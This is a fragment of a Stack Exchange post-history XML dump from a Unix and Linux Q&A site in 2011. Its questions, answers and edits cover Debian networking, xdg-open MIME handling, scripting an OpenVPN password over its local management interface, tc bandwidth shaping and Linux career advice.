idea?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21465" PostHistoryTypeId="2" PostId="9048" RevisionGUID="0d46dfef-4eaf-4bda-8777-1bcf6b1a26af" CreationDate="2011-03-11T04:14:45.633" UserId="2562" Text="It turns out that during the first update I did (`apt-get install ntp`), that `ifupdown` was removed. Since I did not immediately reboot, I was able to continue with the net install following this. I discovered this by completely installing Debian again, and carefully looking through the operations during that update (well, and the help of someone who knows much more about Linux than I do). Anyways, all it took to get going again was `apt-get install ifupdown` and now everything is good." />
  <row Id="21466" PostHistoryTypeId="25" PostId="8986" RevisionGUID="fd746097-b8db-4210-95f0-341a4c9123ac" CreationDate="2011-03-11T05:24:38.617" Comment="http://twitter.com/#!/StackUnix/status/46079059645575168" />
  <row Id="21467" PostHistoryTypeId="2" PostId="9049" RevisionGUID="c6a78ee4-58da-4196-b33b-9c1c99a4a77d" CreationDate="2011-03-11T05:40:13.937" UserId="5624" Text="Any kind person can refer me a Internship about Software Engineer. I am master student of computer science. I will graduate in May. It's exhausted for me to find a software engineer job. I want to start as internship. Does any kind person can refer me a positon. Let me try a interview.&#xD;&#xA;&#xD;&#xA;List part of my CV&#xD;&#xA;&#xD;&#xA;Proficient in C++, C, and Java,&#xD;&#xA;&#xD;&#xA;All helps really appreciated!&#xD;&#xA;&#xD;&#xA;Please check my profile for my email. I can send you my CV privately. Luke." />
  <row Id="21468" PostHistoryTypeId="1" PostId="9049" RevisionGUID="c6a78ee4-58da-4196-b33b-9c1c99a4a77d" CreationDate="2011-03-11T05:40:13.937" UserId="5624" Text="Any kind person can refer me a Internship about Software Engineer. I" />
  <row Id="21469" PostHistoryTypeId="3" PostId="9049" RevisionGUID="c6a78ee4-58da-4196-b33b-9c1c99a4a77d" CreationDate="2011-03-11T05:40:13.937" UserId="5624" Text="élinuxàéunixàépythonàécàécççà" />
  <row Id="21470" PostHistoryTypeId="5" PostId="9049" RevisionGUID="a575cf74-1b57-48e2-aef9-0f1c05c10746" CreationDate="2011-03-11T05:45:40.593" UserId="5624" Comment="deleted 10 characters in body; edited title; edited title" Text=" I am master student in computer science. I will graduate in May. It's exhausted for me to get a software engineer job. I want to start as internship. How can I get an internship?&#xD;&#xA;Any kind person can refer me a Internship about Software Engineer. Let me try a interview.&#xD;&#xA;&#xD;&#xA;List part of my CV&#xD;&#xA;&#xD;&#xA;&gt; Proficient in C++, C, and Java,&#xD;&#xA;&#xD;&#xA;All helps really appreciated!&#xD;&#xA;&#xD;&#xA;Please check my profile for my email.&#xD;&#xA;I can send you my CV privately.&#xD;&#xA; Luke." />
  <row Id="21471" PostHistoryTypeId="4" PostId="9049" RevisionGUID="a575cf74-1b57-48e2-aef9-0f1c05c10746" CreationDate="2011-03-11T05:45:40.593" UserId="5624" Comment="deleted 10 characters in body; edited title; edited title" Text="How Can I get an internship" />
  <row Id="21472" PostHistoryTypeId="10" PostId="9049" RevisionGUID="67e0fec5-1017-47b9-9b62-41cd549e6922" CreationDate="2011-03-11T06:02:32.073" UserId="73" CloseReasonId="2" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="21473" PostHistoryTypeId="2" PostId="9050" RevisionGUID="9c0beeaf-fd81-4aed-97d7-304225bf073a" CreationDate="2011-03-11T06:08:04.743" UserId="4335" Text="Hello,&#xD;&#xA;&#xD;&#xA;I am not sure whether this question is suitable for this site or not. So I am ready to be flamed.&#xD;&#xA;&#xD;&#xA;I am working as an IT Engineer in a reputed company in India. The problem is that though I was told that I would be given work on Linux, I am made to do work on Java and Windows. I am uncomfortable with Java and hate Windows.&#xD;&#xA;&#xD;&#xA;I have started learning Python by myself but it's tough to give it ample time due to ongoing job. Frankly, I am not an expert coder. I tried a lot to get into Linux kernel development during my college days but realized that I am not that good a coder. So I decided to do RHCE and go for server management.&#xD;&#xA;&#xD;&#xA;What I want to know is that what skill set is required to get a job in Linux projects. In August 2011, I am planning to take a break from job if this company doesn't give me a good Linux project. What skills shall I acquire in order to get a good Linux job. One thing that I've decided to do during that break is to pursue RHCE. After reading first of the set of three RHCE course books, I am confident that I can sail through it.&#xD;&#xA;&#xD;&#xA;Inputs from experts on this site are highly invaluable. My technical interests at the moment are - Python Programming, C/C++ programming, Linux Server Management and Cloud Computing. But the college degree that I have is by no means sufficient to get into some good company. The practical knowledge I have is not of an expert level. And the job experience I have is simply pathetic.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Dharmit." />
  <row Id="21474" PostHistoryTypeId="1" PostId="9050" RevisionGUID="9c0beeaf-fd81-4aed-97d7-304225bf073a" CreationDate="2011-03-11T06:08:04.743" UserId="4335" Text="Skills required for a good Linux job" />
  <row Id="21475" PostHistoryTypeId="3" PostId="9050" RevisionGUID="9c0beeaf-fd81-4aed-97d7-304225bf073a" CreationDate="2011-03-11T06:08:04.743" UserId="4335" Text="élinuxàécareerà" />
  <row Id="21476" PostHistoryTypeId="5" PostId="9050" RevisionGUID="fdfa1a75-5390-40d5-92ec-012a420b672c" CreationDate="2011-03-11T06:16:55.467" UserId="4335" Comment="added 108 characters in body; edited body" Text="Hello,&#xD;&#xA;&#xD;&#xA;I am not sure whether this question is suitable for this site or not. So I am ready to be flamed.&#xD;&#xA;&#xD;&#xA;I am working as an IT Engineer in a reputed company in India. The problem is that though I was told that I would be given work on Linux, I am made to do work on Java and Windows. I am uncomfortable with Java and hate Windows.&#xD;&#xA;&#xD;&#xA;I have started learning Python by myself but it's tough to give it ample time due to ongoing job. Frankly, I am not an expert coder. I tried a lot to get into Linux kernel development during my college days but realized that I am not that good a coder. So I decided to do RHCE and go for server management.&#xD;&#xA;&#xD;&#xA;What I want to know is that what skill set is required to get a job in Linux projects. In August 2011, I am planning to take a break from job if this company doesn't give me a good Linux project. What skills shall I acquire in order to get a good Linux job. One thing that I've decided to do during that break is to pursue RHCE. After reading first of the set of three RHCE course books, I am confident that I can sail through it.&#xD;&#xA;&#xD;&#xA;Inputs from experts on this site are highly invaluable. My technical interests at the moment are - Python Programming, C/C++ programming, Linux Server Management and Cloud Computing. But the college degree that I have is by no means sufficient to get into some good company. The practical knowledge I have is not of an expert level. And the job experience I have is simply pathetic.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Dharmit.&#xD;&#xA;&#xD;&#xA;PS - I am extremely frustrated in my current job. Though I think their's barely any need to mention it. " />
  <row Id="21477" PostHistoryTypeId="2" PostId="9051" RevisionGUID="ac750054-a539-44aa-b6e7-638e4d031c56" CreationDate="2011-03-11T06:36:27.773" UserId="5626" Text="&#xD;&#xA;&#xD;&#xA;[This post][1] led me to ask that question.&#xD;&#xA;&#xD;&#xA;&gt;**Cache contention**&#xD;&#xA;&#xD;&#xA;&gt; On a large site, if you are using&#xD;&#xA;&gt; MyISAM, contention occurs in the&#xD;&#xA;&gt; database tables when the cache is&#xD;&#xA;&gt; forced to clear after a node or a&#xD;&#xA;&gt; comment is added. With tens of&#xD;&#xA;&gt; thousands of filter text snippets&#xD;&#xA;&gt; needing to be deleted, the table will&#xD;&#xA;&gt; be locked for a long period, and any&#xD;&#xA;&gt; accesses to it will be queued pending&#xD;&#xA;&gt; the purge of the data in it. The same&#xD;&#xA;&gt; is true for the page cache as well.&#xD;&#xA;&gt; &#xD;&#xA;&gt; This often causes a &quot;site hang&quot; for a&#xD;&#xA;&gt; minute or two. During that time new&#xD;&#xA;&gt; requests keep piling up, and if you do&#xD;&#xA;&gt; not have the MaxClients parameter in&#xD;&#xA;&gt; Apache setup correctly, the system can&#xD;&#xA;&gt; go into thrashing because of excessive&#xD;&#xA;&gt; swapping.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://2bits.com/articles/drupal-core-caching-and-contributed-content-caching-modules.html" />
  <row Id="21478" PostHistoryTypeId="1" PostId="9051" RevisionGUID="ac750054-a539-44aa-b6e7-638e4d031c56" CreationDate="2011-03-11T06:36:27.773" UserId="5626" Text="What is excessive swapping." />
  <row Id="21479" PostHistoryTypeId="3" PostId="9051" RevisionGUID="ac750054-a539-44aa-b6e7-638e4d031c56" CreationDate="2011-03-11T06:36:27.773" UserId="5626" Text="élinuxàéapacheà" />
  <row Id="21480" PostHistoryTypeId="2" PostId="9052" RevisionGUID="71508778-b769-4818-91b4-f36f17253e2a" CreationDate="2011-03-11T06:38:15.510" UserId="4843" Text="Run gconf-editor and check the mark against &quot;/desktop/gnome/volume_manager/automount_drives&quot;&#xD;&#xA;&#xD;&#xA;It should do the work." />
  <row Id="21481" PostHistoryTypeId="2" PostId="9053" RevisionGUID="641785c3-a95c-45f3-925d-65fab899b1b5" CreationDate="2011-03-11T06:59:59.003" UserId="5495" Text="On Ubuntu 10.10, &quot;xdg-open&quot; fails to open the file and give me an error &quot;&quot;No application is registered as handling this file&quot; error &quot;. But &quot;xdg-mime query defaut ...&quot; succeed for the mime type. Why?&#xD;&#xA;&#xD;&#xA;Here is my process:&#xD;&#xA;1. added a new mime type &quot;application/vnd.xx&quot; by &quot;xdg-mime install mytype.xml&quot;&#xD;&#xA;   Then &quot;xdg-mime query filetype &lt;file name&gt;&quot; shows the the new mime type is recognized.&#xD;&#xA;&#xD;&#xA;2. I wrote my desktop entry file &quot;my-app.desktop&quot; like this:&#xD;&#xA;   [Desktop Entry]&#xD;&#xA;   Name=xxx&#xD;&#xA;   Comment=xxx&#xD;&#xA;   Icon=&#xD;&#xA;   Exec=/usr/bin/my-app %U&#xD;&#xA;   Terminal=false&#xD;&#xA;   Type=Application&#xD;&#xA;   Categories=Utility;&#xD;&#xA;   MimeType=application/vnd.xx;&#xD;&#xA;&#xD;&#xA;3. I copied this desktop file to ~/Desktop, &#xD;&#xA;   after I re-login, I saw the shortcut on the desktop&#xD;&#xA;   and &quot;xdg-mime query defualt application/vnd.xx&quot; print out this desktop file. &#xD;&#xA;&#xD;&#xA;4. but, xdg-open &lt;file name&gt; fails with the error &quot;No application is registered as handling this file&quot; error&quot;!  &#xD;&#xA;&#xD;&#xA;I've installed nautilus. Do I miss something? Could anybody share me some idea?&#xD;&#xA;&#xD;&#xA;Great thanks!&#xD;&#xA;Amanda&#xD;&#xA;  " />
  <row Id="21482" PostHistoryTypeId="1" PostId="9053" RevisionGUID="641785c3-a95c-45f3-925d-65fab899b1b5" CreationDate="2011-03-11T06:59:59.003" UserId="5495" Text="why &quot;xdg-open&quot; fails although &quot;xdg-mime query defaut &quot; succeeds on Marverick?" />
  <row Id="21483" PostHistoryTypeId="3" PostId="9053" RevisionGUID="641785c3-a95c-45f3-925d-65fab899b1b5" CreationDate="2011-03-11T06:59:59.003" UserId="5495" Text="élinuxàéubuntuà" />
  <row Id="21484" PostHistoryTypeId="2" PostId="9054" RevisionGUID="adbd09c4-04ed-48b7-bb07-981c1eeb2e96" CreationDate="2011-03-11T07:07:06.630" UserId="5495" Text="(Sorry to post the question again for text format reason)&#xD;&#xA; &#xD;&#xA;On Ubuntu 10.10, &quot;xdg-open&quot; fails to open the file and give me an error &quot;&quot;No application is registered as handling this file&quot; error &quot;. But &quot;xdg-mime query defaut ...&quot; succeed for the mime type. Why?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is my process: &#xD;&#xA;1. added a new mime type &quot;application/vnd.xx&quot; by &quot;xdg-mime install mytype.xml&quot; &#xD;&#xA;   Then &quot;xdg-mime query filetype &quot; shows the the new mime type is recognized.&#xD;&#xA;&#xD;&#xA;2.I wrote my desktop entry file &quot;my-app.desktop&quot; like this: &#xD;&#xA;  [Desktop Entry] Name=xxx &#xD;&#xA;  Comment=xxx &#xD;&#xA;  Icon= Exec=/usr/bin/my-app %U &#xD;&#xA;  Terminal=false &#xD;&#xA;  Type=Application &#xD;&#xA;  Categories=Utility; &#xD;&#xA;  MimeType=application/vnd.xx;&#xD;&#xA;&#xD;&#xA;3.I copied this desktop file to ~/Desktop, after I re-login, I saw the shortcut on the desktop and &quot;xdg-mime query defualt application/vnd.xx&quot; print out this desktop file. &#xD;&#xA;&#xD;&#xA;4.but, xdg-open fails with the error &quot;No application is registered as handling this file&quot; error&quot;! &#xD;&#xA;&#xD;&#xA;I've installed nautilus. Do I miss something? Could anybody share me some idea?&#xD;&#xA;Great thanks! &#xD;&#xA;Amanda" />
  <row Id="21485" PostHistoryTypeId="1" PostId="9054" RevisionGUID="adbd09c4-04ed-48b7-bb07-981c1eeb2e96" CreationDate="2011-03-11T07:07:06.630" UserId="5495" Text="why “xdg-open” fails although “xdg-mime query defaut ” succeeds on Ubuntu 10.10?" />
  <row Id="21486" PostHistoryTypeId="3" PostId="9054" RevisionGUID="adbd09c4-04ed-48b7-bb07-981c1eeb2e96" CreationDate="2011-03-11T07:07:06.630" UserId="5495" Text="élinuxàéubuntuà" />
  <row Id="21487" PostHistoryTypeId="2" PostId="9055" RevisionGUID="0c03777a-c30b-4015-99ac-ac0503f95289" CreationDate="2011-03-11T07:07:08.213" UserId="5451" Text="im trying to write a script which will establish an openvpn tunnel when the computer boots up. the main problem lies in inputting the pkcs12 password. i realise its very bad practice to have a password stored in plain text, but im not too fussed about that - the computer is very secure in all other respects so im pretty confident that nobody but me will be accessing it viewing the password.&#xD;&#xA;&#xD;&#xA;i have added the --management and the --management-query-passwords options so that the password can be input via a telnet session. this works fine when i do it manually but when i try and do it automatically with a bash script it fails. my guess would be that either i am not doing the carridge return after the password line properly, or that some other garbage values are sneaking in to the telnet session as inputs. here is the relevant bits of code (xxx for stuff that is classified):&#xD;&#xA;&#xD;&#xA;    $ cat user.ovpn&#xD;&#xA;    #OpenVPN Server conf&#xD;&#xA;    tls-client&#xD;&#xA;    client&#xD;&#xA;    dev tun&#xD;&#xA;    proto udp&#xD;&#xA;    tun-mtu 1400&#xD;&#xA;    remote xxxxxxxxxxxxxxxxxxx 1194&#xD;&#xA;    pkcs12 user.p12&#xD;&#xA;    cipher AES-256-CBC&#xD;&#xA;    comp-lzo&#xD;&#xA;    verb 3&#xD;&#xA;    ns-cert-type server&#xD;&#xA;    tls-remote xxxxxxxxxxxxxxxxxxxxxxx&#xD;&#xA;    management 127.0.0.1 5558&#xD;&#xA;    management-query-passwords&#xD;&#xA;    &#xD;&#xA;    $ cat telnet_commands.sh&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    echo &quot;open 127.0.0.1 5558&quot;&#xD;&#xA;    sleep 1&#xD;&#xA;    echo -e &quot;password 'Private Key' xxxxxxxxxx\r\n&quot;&#xD;&#xA;    &#xD;&#xA;    $ nohup openvpn user.ovpn &amp;&#xD;&#xA;    $ ./telnet_commands | telnet&#xD;&#xA;    &#xD;&#xA;    $ #manually check whether this worked:&#xD;&#xA;    $ telnet 127.0.0.1 5558&#xD;&#xA;    Escape character is '^]'.&#xD;&#xA;    &gt;INFO:OpenVPN Management Interface Version 1 -- type 'help' for more info&#xD;&#xA;    &gt;PASSWORD:Need 'Private Key' password&#xD;&#xA;obviously this is not working - the openvpn telnet management interface is still waiting for the password to be entered." />
  <row Id="21488" PostHistoryTypeId="1" PostId="9055" RevisionGUID="0c03777a-c30b-4015-99ac-ac0503f95289" CreationDate="2011-03-11T07:07:08.213" UserId="5451" Text="establish openvpn tunnel in bash script" />
  <row Id="21489" PostHistoryTypeId="3" PostId="9055" RevisionGUID="0c03777a-c30b-4015-99ac-ac0503f95289" CreationDate="2011-03-11T07:07:08.213" UserId="5451" Text="ébashà" />
  <row Id="21490" PostHistoryTypeId="2" PostId="9056" RevisionGUID="55e922e2-487c-44ee-905b-6d4674ce2084" CreationDate="2011-03-11T07:11:11.643" UserId="5628" Text="I can answer how to manage the bandwidth once you know what IP is in which group. You can use [hierarchical token bucket][1] to allocate three groups.&#xD;&#xA;&#xD;&#xA;* 10 Group A&#xD;&#xA;* 20 Group B&#xD;&#xA;* 30 Unknown traffic for/from non-AD devices in your network&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;#Create egress shaping&#xD;&#xA;$TC qdisc add dev eth0 root handle 1: htb default 20 r2q 50&#xD;&#xA;&#xD;&#xA;$TC class add dev eth0 parent 1: classid 1:1 htb rate 19mbit ceil 19mbit&#xD;&#xA;&#xD;&#xA;$TC class add dev eth0 parent 1:1 classid 1:10 htb rate 9mbit ceil 15mbit prio 1&#xD;&#xA;$TC class add dev eth0 parent 1:1 classid 1:20 htb rate 8mbit ceil 15mbit prio 1&#xD;&#xA;$TC class add dev eth0 parent 1:1 classid 1:30 htb rate 2mbit ceil 10mbit prio 2&#xD;&#xA;&#xD;&#xA;#Send everything unknown to classid 1:30. The filter has low priority &#xD;&#xA;#(higher numbers are filtered later)&#xD;&#xA;$TC filter add dev eth0 parent 1: prio 20 protocol all u32 match u32 0 0 flowid 1:30&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;In the script above the groups can lend bandwidth to other groups if they don't use it. If you don't want this set *ceil* to the same value as *rate*.&#xD;&#xA;&#xD;&#xA;Now you can write a script that dynamically sends IPs to class 1:10 or 1:20. Probably you have to hook some dhcp- or ad-events.&#xD;&#xA;&#xD;&#xA;The script for group A can look like this:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;$TC filter replace dev eth0 parent 1: protocol ip prio 3 u32 match \&#xD;&#xA;                ip dst $THEIP/32 flowid 1:10&#xD;&#xA;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Remember you can only control what you send. So if your router has interface eth0 and eth1, you have to manage bandwidth on eth1, too.&#xD;&#xA;&#xD;&#xA;And consider to attach SFQ leaf QDISC to the classes. SFQ is just great!&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;$TC qdisc add dev eth0 parent 1:10 handle 110: sfq perturb 10&#xD;&#xA;$TC qdisc add dev eth0 parent 1:20 handle 120: sfq perturb 10&#xD;&#xA;$TC qdisc add dev eth0 parent 1:30 handle 130: sfq perturb 10&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Mapping IPs to groups**&#xD;&#xA;&#xD;&#xA;Finding out what IP is in which group highly depends on the software you use. If your software doesn't support events you might write script that parses the log and decide to allocate a IP on a certain group.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://luxik.cdi.cz/~devik/qos/htb/manual/userg.htm" />
  <row Id="21491" PostHistoryTypeId="2" PostId="9057" RevisionGUID="4389d969-8df2-4013-b5bb-04970bc2465b" CreationDate="2011-03-11T07:15:49.540" UserId="4671" Text="This has been suggested numerous times before in this context, but... I'd suggest getting some experience in a free software project. This looks good on your resume, is valuable experience working with good people, and is useful for contacts. People regularly get jobs through free software projects. My impression (which may be incorrect) is also that it is not common for Indians to involve themselves in free software projects, and if true, that would help you stand out. You say you are interested in Python. There are lots of free software projects involving Python, with various levels of barrier to entry. One that I am familar with is Mercurial, where the barrier to entry is not too hard, the community is friendly, the programmers are talented, and there are opportunities for participation. And everybody used version control. You could pick up some small bite-sized bug and/or wishlist feature and work on it. Other projects off the top of my head are Django, Pylons, Sqlalchemy, though I think Mercurial is as good or better than any of these from the POV of opportunity for participation. Another possibility is Linux community distribution work, eg. with Debian, which will also give you the opportunity of working with talented people. Also good for making contacts etc. Also, if you are interested in C++, the apt and aptitude projects in Debian are important and severely undermanned. In general, most free software projects don't have enough manpower, particularly the smaller ones, and are eager for assistance. HTH." />
  <row Id="21492" PostHistoryTypeId="5" PostId="9053" RevisionGUID="d4010e7b-e9ac-4b27-8df4-4601a722dcff" CreationDate="2011-03-11T07:19:52.360" UserId="73" Comment="deleted 3 characters in body; edited title" Text="On Ubuntu 10.10, `xdg-open` fails to open the file and give me the error:&#xD;&#xA;&#xD;&#xA;&gt; No application is registered as handling this file&#xD;&#xA;&#xD;&#xA;But `xdg-mime query defaut ...` succeeds for the mime type. Why?&#xD;&#xA;&#xD;&#xA;Here is my process:&#xD;&#xA;&#xD;&#xA;1. Added a new mime type `application/vnd.xx` by `xdg-mime install mytype.xml`. Then `xdg-mime query filetype &lt;file name&gt;` shows that the new mime type is recognized.&#xD;&#xA;&#xD;&#xA;2. I wrote my desktop entry file &quot;my-app.desktop&quot; like this:&#xD;&#xA;&#xD;&#xA;        [Desktop Entry]&#xD;&#xA;        Name=xxx&#xD;&#xA;        Comment=xxx&#xD;&#xA;        Icon=&#xD;&#xA;        Exec=/usr/bin/my-app %U&#xD;&#xA;        Terminal=false&#xD;&#xA;        Type=Application&#xD;&#xA;        Categories=Utility;&#xD;&#xA;        MimeType=application/vnd.xx;&#xD;&#xA;&#xD;&#xA;3. I copied this desktop file to `~/Desktop`. After I re-login, I saw the shortcut on the desktop and `xdg-mime query defualt application/vnd.xx` printed out this desktop file. &#xD;&#xA;&#xD;&#xA;4. But, `xdg-open &lt;file name&gt;` fails with the error:&#xD;&#xA;    &gt; No application is registered as handling this file&#xD;&#xA;&#xD;&#xA;I've installed nautilus. Do I miss something? How do I fix this?&#xD;&#xA;" />
  <row Id="21493" PostHistoryTypeId="4" PostId="9053" RevisionGUID="d4010e7b-e9ac-4b27-8df4-4601a722dcff" CreationDate="2011-03-11T07:19:52.360" UserId="73" Comment="deleted 3 characters in body; edited title" Text="Why does &quot;xdg-open&quot; fail although &quot;xdg-mime query defaut &quot; succeeds on Ubuntu 10.10?" />
  <row Id="21494" PostHistoryTypeId="5" PostId="9054" RevisionGUID="74557ac4-8a0e-40c5-84b5-6fe01bd64b98" CreationDate="2011-03-11T07:20:26.253" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Why does &amp;ldquo;xdg-open&amp;rdquo; fail although &amp;ldquo;xdg-mime query defaut &amp;rdquo; succeeds on Ubuntu 10.10?](http://unix.stackexchange.com/questions/9053/why-does-xdg-open-fail-although-xdg-mime-query-defaut-succeeds-on-ubuntu-10)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;(Sorry to post the question again for text format reason)&#xD;&#xA; &#xD;&#xA;On Ubuntu 10.10, &quot;xdg-open&quot; fails to open the file and give me an error &quot;&quot;No application is registered as handling this file&quot; error &quot;. But &quot;xdg-mime query defaut ...&quot; succeed for the mime type. Why?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is my process: &#xD;&#xA;1. added a new mime type &quot;application/vnd.xx&quot; by &quot;xdg-mime install mytype.xml&quot; &#xD;&#xA;   Then &quot;xdg-mime query filetype &quot; shows the the new mime type is recognized.&#xD;&#xA;&#xD;&#xA;2.I wrote my desktop entry file &quot;my-app.desktop&quot; like this: &#xD;&#xA;  [Desktop Entry] Name=xxx &#xD;&#xA;  Comment=xxx &#xD;&#xA;  Icon= Exec=/usr/bin/my-app %U &#xD;&#xA;  Terminal=false &#xD;&#xA;  Type=Application &#xD;&#xA;  Categories=Utility; &#xD;&#xA;  MimeType=application/vnd.xx;&#xD;&#xA;&#xD;&#xA;3.I copied this desktop file to ~/Desktop, after I re-login, I saw the shortcut on the desktop and &quot;xdg-mime query defualt application/vnd.xx&quot; print out this desktop file. &#xD;&#xA;&#xD;&#xA;4.but, xdg-open fails with the error &quot;No application is registered as handling this file&quot; error&quot;! &#xD;&#xA;&#xD;&#xA;I've installed nautilus. Do I miss something? Could anybody share me some idea?&#xD;&#xA;Great thanks! &#xD;&#xA;Amanda" />
  <row Id="21495" PostHistoryTypeId="10" PostId="9054" RevisionGUID="37fd49dd-d76e-4bfb-b044-45cd4f18164a" CreationDate="2011-03-11T07:20:26.143" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="21496" PostHistoryTypeId="18" PostId="9054" RevisionGUID="560ae1df-180a-40d1-8f65-24187c7d9148" CreationDate="2011-03-11T07:20:44.413" UserId="73" Comment="to http://unix.stackexchange.com/questions/9053/why-does-xdg-open-fail-although-xdg-mime-query-defaut-succeeds-on-ubuntu-10" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="21497" PostHistoryTypeId="18" PostId="9053" RevisionGUID="560ae1df-180a-40d1-8f65-24187c7d9148" CreationDate="2011-03-11T07:20:44.413" UserId="73" Comment="from http://unix.stackexchange.com/questions/9054/why-xdg-open-fails-although-xdg-mime-query-defaut-succeeds-on-ubuntu-10-10" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="21498" PostHistoryTypeId="14" PostId="9054" RevisionGUID="c541e2b2-0180-412c-97ce-3b6af9902d00" CreationDate="2011-03-11T07:20:44.647" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="21499" PostHistoryTypeId="2" PostId="9058" RevisionGUID="cd1cc28a-fe4d-4874-ba0b-962c419768c2" CreationDate="2011-03-11T07:23:00.550" UserId="1131" Text="You can use find and awk to solve this.&#xD;&#xA;&#xD;&#xA;With following layout:&#xD;&#xA;&#xD;&#xA;    $ mkdir a b a/1 b/1 b/2 a/3&#xD;&#xA;    $ touch a/f1 b/f1 a/f2 b/f3&#xD;&#xA;&#xD;&#xA;Part one:&#xD;&#xA;&#xD;&#xA;    $ find a b -mindepth 1 -maxdepth 1 -type d | \&#xD;&#xA;        awk -F/ ' { if (!w[$1]) w[$1]=++i; if (w[$1]&gt;1) b[$2]=1; else a[$2]=1; }&#xD;&#xA;              END { for (x in a) if (!b[x]) print x }'&#xD;&#xA;    3&#xD;&#xA;&#xD;&#xA;Part two:&#xD;&#xA;&#xD;&#xA;    $ find b a -mindepth 1 -maxdepth 1 -type f | \&#xD;&#xA;        awk -F/ ' { if (!w[$1]) w[$1]=++i; if (w[$1]&gt;1) b[$2]=1; else a[$2]=1; }&#xD;&#xA;              END { for (x in a) if (!b[x]) print x }'&#xD;&#xA;f3&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21500" PostHistoryTypeId="5" PostId="9055" RevisionGUID="b43dbbbd-abc8-45e4-81eb-55ff20cbc199" CreationDate="2011-03-11T07:24:56.717" UserId="73" Comment="added 13 characters in body; edited tags; edited title" Text="I'm trying to write a script which will establish an openvpn tunnel when the computer boots up. The main problem lies in inputting the pkcs12 password. I realise it's very bad practice to have a password stored in plain text, but I'm not too fussed about that -- the computer is very secure in all other respects so I'm pretty confident that nobody but me will be accessing it to view the password.&#xD;&#xA;&#xD;&#xA;I have added the `--management` and the `--management-query-passwords` options so that the password can be input via a telnet session. This works fine when I do it manually, but when I try and do it automatically with a bash script it fails. My guess would be that either I am not doing the carridge return after the password line properly, or that some other garbage values are sneaking in to the telnet session as inputs. Here is the relevant bits of code (xxx for stuff that is classified):&#xD;&#xA;&#xD;&#xA;    $ cat user.ovpn&#xD;&#xA;    #OpenVPN Server conf&#xD;&#xA;    tls-client&#xD;&#xA;    client&#xD;&#xA;    dev tun&#xD;&#xA;    proto udp&#xD;&#xA;    tun-mtu 1400&#xD;&#xA;    remote xxxxxxxxxxxxxxxxxxx 1194&#xD;&#xA;    pkcs12 user.p12&#xD;&#xA;    cipher AES-256-CBC&#xD;&#xA;    comp-lzo&#xD;&#xA;    verb 3&#xD;&#xA;    ns-cert-type server&#xD;&#xA;    tls-remote xxxxxxxxxxxxxxxxxxxxxxx&#xD;&#xA;    management 127.0.0.1 5558&#xD;&#xA;    management-query-passwords&#xD;&#xA;    &#xD;&#xA;    $ cat telnet_commands.sh&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    echo &quot;open 127.0.0.1 5558&quot;&#xD;&#xA;    sleep 1&#xD;&#xA;    echo -e &quot;password 'Private Key' xxxxxxxxxx\r\n&quot;&#xD;&#xA;    &#xD;&#xA;    $ nohup openvpn user.ovpn &amp;&#xD;&#xA;    $ ./telnet_commands | telnet&#xD;&#xA;    &#xD;&#xA;    $ #manually check whether this worked:&#xD;&#xA;    $ telnet 127.0.0.1 5558&#xD;&#xA;    Escape character is '^]'.&#xD;&#xA;    &gt;INFO:OpenVPN Management Interface Version 1 -- type 'help' for more info&#xD;&#xA;    &gt;PASSWORD:Need 'Private Key' password&#xD;&#xA;&#xD;&#xA;Obviously this is not working -- the openvpn telnet management interface is still waiting for the password to be entered." />
  <row Id="21501" PostHistoryTypeId="6" PostId="9055" RevisionGUID="b43dbbbd-abc8-45e4-81eb-55ff20cbc199" CreationDate="2011-03-11T07:24:56.717" UserId="73" Comment="added 13 characters in body; edited tags; edited title" Text="ébashàéshellöscriptàételnetàéopenvpnà" />
  <row Id="21502" PostHistoryTypeId="4" PostId="9055" RevisionGUID="b43dbbbd-abc8-45e4-81eb-55ff20cbc199" CreationDate="2011-03-11T07:24:56.717" UserId="73" Comment="added 13 characters in body; edited tags; edited title" Text="Establish openvpn tunnel in bash script" />
  <row Id="21503" PostHistoryTypeId="4" PostId="8688" RevisionGUID="ead9ec00-fbf1-4e95-8e13-c4e2f1ba99a3" CreationDate="2011-03-11T07:26:10.587" UserId="5628" Comment="Corrected spelling on title" Text="bandwidth share between ips" />
  <row Id="21504" PostHistoryTypeId="24" PostId="8688" RevisionGUID="ead9ec00-fbf1-4e95-8e13-c4e2f1ba99a3" CreationDate="2011-03-11T07:26:10.587" Comment="Proposed by 5628 approved by -1 edit id of 197" />
